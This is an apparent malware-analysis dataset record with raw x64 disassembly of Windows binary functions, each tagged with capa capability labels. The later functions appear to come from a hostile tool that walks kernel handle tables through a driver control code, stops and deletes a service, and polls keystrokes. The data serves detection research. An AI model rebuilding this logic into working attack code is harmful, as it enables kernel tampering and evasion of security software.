joyce8/EMBER2024-capa huggingface dataset:
Function at 0x201e71630
Capabilities:
Write file on windows

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x30
lea rbp, [rsp + 0x30]
mov rbx, rcx
lea rax, [rbp + 0x28]
mov ecx, 2
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
mov qword [rbp - 8], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rbp - 8]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x201e716a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
movsxd rsi, dword [0x201e7c064]
mov rbx, rcx
test esi, esi
jle 0x201e717d0
mov rax, qword [0x201e7c068]
xor r9d, r9d
add rax, 0x18
nop dword [rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x201e716eb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x201e71773
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x201e716d0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x201e717f2
mov rax, qword [0x201e7c068]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x201e7c068]
lea rdx, [rbp - 0x30]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x201e717d7
mov eax, dword [rbp - 0xc]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x201e7176c
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x201e71780
add dword [0x201e7c064], 1
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret
cmp eax, 2
mov rcx, qword [rbp - 0x30]
mov rdx, qword [rbp - 0x18]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x201e7c068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x201e7176c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop word [rax + rax]
xor esi, esi
jmp 0x201e716f8
mov rax, qword [0x201e7c068]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x201e71b70
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
lea r13, [0x201e7c0a0]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x201e7c080]
test rbx, rbx
je 0x201e71bd5
mov r12, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
mov ecx, dword [rbx]
call r12
mov rsi, rax
call rdi
test rsi, rsi
je 0x201e71bcc
test eax, eax
jne 0x201e71bcc
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x201e71bb0
mov rcx, r13
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x201e71e10
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x201e71e28
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x201e71e30
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x201e71e40
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x201e71e8d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x201e71e84
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x201e71e8f
add rax, 0x28
cmp rax, r9
jne 0x201e71e70
xor eax, eax
ret

Function at 0x201e71e90
Capabilities:
Parse pe header

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x201e71f28
mov rdx, qword [0x201e795f0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x201e71f16
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x201e71f16
cmp word [rax + 0x18], 0x20b
jne 0x201e71f16
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x201e71f28
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x201e71f01
add rbx, 0x28
cmp rbx, rdi
je 0x201e71f28
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x201e71ef8
mov rax, rbx
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x201e71f40
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x201e795f0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x201e71f60
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x201e71f68
ret
cmp word [r8 + 0x18], 0x20b
jne 0x201e71f60
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x201e71fbd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x201e71fb4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x201e71f60
add rax, 0x28
cmp rax, r9
jne 0x201e71fa0
xor eax, eax
ret
Function at 0x201e71fc0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x201e795f0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x201e71fdf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x201e71fe8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x201e71fdf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x201e72000
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x201e795f0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x201e72020
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x201e72028
ret
cmp word [rdx + 0x18], 0x20b
jne 0x201e72020
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x201e72070
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x201e72067
test rcx, rcx
je 0x201e72020
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x201e72058
xor eax, eax
ret

Function at 0x201e72080
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x201e795f0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x201e7209f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x201e720a8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x201e720c0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x201e795f0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x201e720e0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x201e720e8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x201e720e0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x201e720e0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x201e72134
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x201e72140
add rdx, 0x28
cmp rdx, r9
jne 0x201e72120
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x201e72150
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x201e795f0]
xor r8d, r8d
cmp word [r11], 0x5a4d
mov r10d, ecx
jne 0x201e72174
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
cmp dword [rcx], 0x4550
je 0x201e72180
mov rax, r8
ret
cmp word [rcx + 0x18], 0x20b
jne 0x201e72174
mov eax, dword [rcx + 0x90]
test eax, eax
je 0x201e72174
movzx edx, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rdx, [rcx + rdx + 0x18]
test r9w, r9w
je 0x201e72174
lea ecx, [r9 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rdx + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rdx + 0xc]
mov rcx, r8
cmp rax, r8
jb 0x201e721cc
add ecx, dword [rdx + 8]
cmp rax, rcx
jb 0x201e721e0
add rdx, 0x28
cmp r9, rdx
jne 0x201e721b8
xor r8d, r8d
mov rax, r8
ret
add rax, r11
jmp 0x201e721f0
sub r10d, 1
add rax, 0x14
mov ecx, dword [rax + 4]
test ecx, ecx
jne 0x201e721fe
mov edx, dword [rax + 0xc]
test edx, edx
je 0x201e721d5
test r10d, r10d
jg 0x201e721e8
mov r8d, dword [rax + 0xc]
add r8, r11
mov rax, r8
ret
Function at 0x1400012d0
Capabilities:
Get system information on windows
Log keystrokes via polling
Make suspicious ntquerysysteminformation call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x30
movsxd rbp, ecx
mov edi, 0x1008
mov ecx, edi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x14000138a
mov r14, 0xffffffffffffffff
nop dword [rax]
xor r9d, r9d
mov r8d, edi
mov rdx, rbx
lea ecx, [r9 + 0x10]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov esi, eax
mov rcx, rbx
mov eax, 2
mul rdi
cmovo rax, r14
mov rdx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
mov rbx, rax
test rax, rax
je 0x140001350
add rdi, rdi
cmp esi, 0xc0000004
je 0x140001310
test rbx, rbx
je 0x14000138a
mov edx, dword [rax]
xor ecx, ecx
test rdx, rdx
je 0x14000137d
add rax, 0xc
cmp dword [rax - 4], 4
jne 0x140001371
cmp byte [rax], 7
je 0x1400014eb
inc rcx
add rax, 0x18
cmp rcx, rdx
jb 0x140001362
mov edx, 8
mov rcx, rbx
call fcn.14005f2bc
xor edi, edi
add rdi, qword [0x1401a7de0]
mov edx, 0x14
lea ecx, [rdx - 0x13]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov rbx, rax
test rax, rax
je 0x1400013d8
mov r8d, 0x14
mov qword [rax], rdi
mov rdx, rax
mov dword [rax + 8], 0x10
mov ecx, 0x83064000
call fcn.140002600
test al, al
je 0x1400013d8
cmp dword [rbx], 0
jne 0x1400013d8
movups xmm0, xmmword [rbx + 4]
movups xmmword [rsp + 0x20], xmm0
mov r14, rbp
nop dword [rax + rax]
mov rbp, qword [0x1401a7e00]
xor edi, edi
mov rsi, qword [rsp + 0x20]
sub rsi, qword [0x1401a7de0]
add rbp, rsi
lea edx, [rdi + 0xc]
lea ecx, [rdi + 1]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov rbx, rax
test rax, rax
je 0x140001433
lea r8d, [rdi + 0xc]
mov qword [rax], rbp
mov rdx, rax
mov dword [rax + 8], 8
mov ecx, 0x83064000
call fcn.140002600
test al, al
je 0x140001433
cmp dword [rbx], edi
jne 0x140001433
mov rdi, qword [rbx + 4]
mov rbx, qword [0x1401a7de8]
mov edx, 0x10003
mov ecx, 1
add rbx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
test rax, rax
je 0x14000146f
mov r8d, 0x10003
mov qword [rax], rbx
mov rdx, rax
mov dword [rax + 8], 0xffff
mov ecx, 0x83064000
call fcn.140002600
mov rbp, qword [0x1401a7de0]
mov edx, 0x14
add rbp, rsi
lea ecx, [rdx - 0x13]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov rbx, rax
test rax, rax
je 0x1400014be
mov r8d, 0x14
mov qword [rax], rbp
mov rdx, rax
mov dword [rax + 8], 0x10
mov ecx, 0x83064000
call fcn.140002600
test al, al
je 0x1400014be
cmp dword [rbx], 0
jne 0x1400014be
movups xmm0, xmmword [rbx + 4]
movups xmmword [rsp + 0x20], xmm0
mov ecx, 0x12
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x1400014d3
call fcn.140002530
cmp rdi, r14
je 0x140001506
cmp rdi, 4
je 0x1400014e7
test rdi, rdi
jne 0x1400013e0
xor eax, eax
jmp 0x140001509
lea rax, [rcx + rcx*2]
mov edx, 8
mov rdi, qword [rbx + rax*8 + 0x10]
mov rcx, rbx
call fcn.14005f2bc
jmp 0x14000138c
mov rax, rsi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret
Function at 0x140001530
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
push rsi
push rdi
push r14
sub rsp, 0x50
mov rax, qword [0x1401a7008]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor edx, edx
lea r9, [rsp + 0x20]
mov rsi, rcx
xor r14d, r14d
xor r8d, r8d
mov dword [rsp + 0x20], r14d
mov edi, r14d
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x1400015b9
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rsp + 0x20]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rsp + 0x20]
lea r9, [rsp + 0x20]
mov rdx, rax
mov ecx, 0xb
mov rdi, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140001570
mov qword [rsp + 0x78], rbx
mov qword [rsp + 0x80], rbp
test eax, eax
js 0x140001698
mov ebx, r14d
cmp dword [rdi], ebx
jbe 0x140001698
nop dword [rax]
mov eax, ebx
mov r8, 0xffffffffffffffff
imul rcx, rax, 0x128
movzx edx, word [rcx + rdi + 0x2e]
lea rbp, [rcx + rdi]
add rdx, 0x30
mov qword [rsp + 0x28], r14
add rdx, rcx
mov qword [rsp + 0x38], r14
add rdx, rdi
mov qword [rsp + 0x40], 0xf
inc r8
cmp byte [rdx + r8], r14b
jne 0x140001616
lea rcx, [rsp + 0x28]
call fcn.1400039e0
cmp qword [rsi + 0x18], 0x10
mov rdx, rsi
jb 0x140001636
mov rdx, qword [rsi]
cmp qword [rsp + 0x40], 0x10
lea rcx, [rsp + 0x28]
cmovae rcx, qword [rsp + 0x28]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x1400016ce
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x14000168e
mov rcx, qword [rsp + 0x28]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001689
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001717
call fcn.14005f2bc
inc ebx
cmp ebx, dword [rdi]
jb 0x1400015e0
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rbp, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14005f260
add rsp, 0x50
pop r14
pop rdi
pop rsi
ret
mov rbx, qword [rbp + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x140001723
mov rcx, qword [rsp + 0x28]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000171e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000171e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005f2bc
mov rax, rbx
jmp 0x1400016ab
Function at 0x140001730
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x170
mov rax, qword [0x1401a7008]
xor rax, rsp
mov qword [rsp + 0x160], rax
movsxd rbp, ecx
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.RtlGetVersion
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400017c0
mov dword [rsp + 0x40], 0x11c
lea rcx, [rsp + 0x40]
call rax
mov eax, dword [rsp + 0x4c]
cmp eax, 0x47ba
ja 0x140001839
je 0x14000185a
cmp eax, 0x3fab
ja 0x1400017fa
je 0x140001808
cmp eax, 0x295a
je 0x1400017c9
cmp eax, 0x3839
je 0x1400017c9
cmp eax, 0x3ad7
je 0x140001808
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [0x1401a7de8], 0x450
mov qword [0x1401a7e00], 0x2e8
mov qword [0x1401a7df0], 0x3c0
mov qword [0x1401a7de0], 0x2f0
jmp 0x1400018c6
cmp eax, 0x42ee
je 0x140001808
cmp eax, 0x4563
jne 0x1400017c0
mov qword [0x1401a7de8], 0x450
mov qword [0x1401a7e00], 0x2e0
mov qword [0x1401a7df0], 0x3c0
mov qword [0x1401a7de0], 0x2e8
jmp 0x1400018c6
cmp eax, 0x4a63
ja 0x140001888
je 0x14000189a
sub eax, 0x47bb
je 0x14000185a
sub eax, 0x2a6
je 0x14000189a
cmp eax, 1
je 0x14000189a
jmp 0x1400017c0
mov qword [0x1401a7de8], 0x450
mov qword [0x1401a7e00], 0x2e8
mov qword [0x1401a7df0], 0x3c8
mov qword [0x1401a7de0], 0x2f0
jmp 0x1400018c6
cmp eax, 0x4a64
je 0x14000189a
cmp eax, 0x55f0
jne 0x1400017c0
mov qword [0x1401a7de8], 0x5a8
mov qword [0x1401a7e00], 0x440
mov qword [0x1401a7df0], 0x520
mov qword [0x1401a7de0], 0x448
xor edi, edi
cmp qword [0x1401a7e08], rdi
jne 0x140001950
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], 0xf
mov byte [rsp + 0x20], dil
lea r8d, [rdi + 0xc]
lea rdx, [0x140061b50]
lea rcx, [rsp + 0x20]
call fcn.1400039e0
nop
lea rcx, [rsp + 0x20]
call fcn.140001530
mov qword [0x1401a7e08], rax
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x140001950
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000194b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000194b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005f2bc
mov ecx, ebp
call fcn.1400012d0
mov rsi, rax
add rsi, qword [0x1401a7df0]
mov edx, 0xc
lea ecx, [rdx - 0xb]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov rbx, rax
test rax, rax
je 0x1400019a1
mov qword [rax], rsi
mov dword [rax + 8], 8
mov r8d, 0xc
mov rdx, rax
mov ecx, 0x83064000
call fcn.140002600
test al, al
je 0x1400019a1
cmp dword [rbx], 0
jne 0x1400019a1
mov rdi, qword [rbx + 4]
mov qword [0x1401a7df8], rbp
mov rax, rdi
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.14005f260
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x1400019e0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x160
mov rax, qword [0x1401a7008]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rdi, rcx
xor esi, esi
xor edx, edx
lea ecx, [rsi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
xor edx, edx
lea rcx, [rsp + 0x24]
mov r8d, 0x12c
mov rbx, rax
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140001a8f
nop dword [rax]
nop word [rax + rax]
lea rax, [rsp + 0x4c]
mov r8, rdi
sub r8, rax
nop dword [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140001a73
inc rax
test ecx, ecx
jne 0x140001a60
test edx, edx
je 0x140001a8b
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140001a50
jmp 0x140001a8f
mov esi, dword [rsp + 0x28]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.14005f260
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x140002530
Capabilities:
Delete service
Pause service
Stop service

Disassembly:
push rdi
sub rsp, 0x50
mov rax, qword [0x1401a7008]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rcx, qword [0x1401a8990]
test rcx, rcx
je 0x140002557
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [0x1401a8998]
test rdi, rdi
je 0x1400025e7
xor edx, edx
mov qword [rsp + 0x60], rbx
xor ecx, ecx
lea r8d, [rdx + 2]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
lea r8, [rsp + 0x28]
mov edx, 1
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.ADVAPI32.dll_ControlService]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rdi, qword [0x1401a8998]
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 2]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x1400025d0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x430
jne 0x1400025d0
mov rcx, rbx
jmp 0x1400025dc
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rbx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14005f260
add rsp, 0x50
pop rdi
ret
Function at 0x1400026b0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
mov r9, qword [rcx]
mov r10, rcx
mov rdx, qword [0x1401a7fd0]
movabs rdi, 0x22aaaa8a20000
mov r8, rdx
mov rax, rdx
shl rax, 0x11
movabs rbx, 0x71d67fffeda60000
shr r8, 0xc
movabs r11, 0x555555555
and r8, rdi
xor r8, rax
mov rax, rdx
shr rax, 0x1d
and r8, rbx
and rax, r11
xor r8, rax
xor r8, rdx
mov rcx, r8
mov rax, r8
shr rax, 0x25
and ecx, 0x7ffbf40
xor rcx, rax
mov rax, r8
and rax, 0xffffffffffffbf77
shr rcx, 6
shl rax, 0x25
xor rcx, rax
xor rcx, r9
xor rcx, qword [r10 + 8]
xor rcx, r8
mov qword [r10 + 8], rcx
mov rcx, qword [0x1401a7fd8]
mov rdx, rcx
mov rax, rcx
shl rax, 0x11
shr rdx, 0xc
and rdx, rdi
xor rdx, rax
mov rax, rcx
shr rax, 0x1d
and rdx, rbx
and rax, r11
xor rdx, rax
xor rdx, rcx
mov rcx, rdx
mov rax, rdx
shr rax, 0x25
and ecx, 0x7ffbf40
xor rcx, rax
mov rax, rdx
and rax, 0xffffffffffffbf77
shr rcx, 6
shl rax, 0x25
xor rcx, rax
lea rax, [r9 + 0x10]
xor rcx, rax
xor rcx, qword [r10 + 0x10]
xor rcx, rdx
mov qword [r10 + 0x10], rcx
mov rcx, qword [0x1401a7fe0]
mov rdx, rcx
mov rax, rcx
shl rax, 0x11
shr rdx, 0xc
and rdx, rdi
xor rdx, rax
mov rax, rcx
shr rax, 0x1d
and rdx, rbx
and rax, r11
xor rdx, rax
xor rdx, rcx
mov rcx, rdx
mov rax, rdx
and ecx, 0x7ffbf40
shr rax, 0x25
xor rcx, rax
mov rax, rdx
shr rcx, 6
and rax, 0xffffffffffffbf77
shl rax, 0x25
xor rcx, rax
lea rax, [r9 + 0x20]
xor rcx, rax
xor rcx, qword [r10 + 0x18]
xor rcx, rdx
mov qword [r10 + 0x18], rcx
mov rcx, qword [0x1401a7fe8]
mov rdx, rcx
mov rax, rcx
shl rax, 0x11
shr rdx, 0xc
and rdx, rdi
xor rdx, rax
mov rax, rcx
shr rax, 0x1d
and rdx, rbx
and rax, r11
xor rdx, rax
xor rdx, rcx
mov rcx, rdx
mov rax, rdx
shr rax, 0x25
and ecx, 0x7ffbf40
xor rcx, rax
mov rax, rdx
and rax, 0xffffffffffffbf77
shr rcx, 6
shl rax, 0x25
xor rcx, rax
lea rax, [r9 + 0x30]
xor rcx, rax
xor rcx, qword [r10 + 0x20]
xor rcx, rdx
mov qword [r10 + 0x20], rcx
mov rcx, qword [0x1401a7ff0]
mov rdx, rcx
mov rax, rcx
shl rax, 0x11
shr rdx, 0xc
and rdx, rdi
mov rdi, qword [rsp + 0x10]
xor rdx, rax
mov rax, rcx
shr rax, 0x1d
and rdx, rbx
mov rbx, qword [rsp + 8]
and rax, r11
xor rdx, rax
xor rdx, rcx
mov rcx, rdx
mov rax, rdx
and ecx, 0x7ffbf40
shr rax, 0x25
xor rcx, rax
mov rax, rdx
shr rcx, 6
and rax, 0xffffffffffffbf77
shl rax, 0x25
xor rcx, rax
lea rax, [r9 + 0x40]
xor rcx, rax
xor rcx, rdx
xor qword [r10 + 0x28], rcx
ret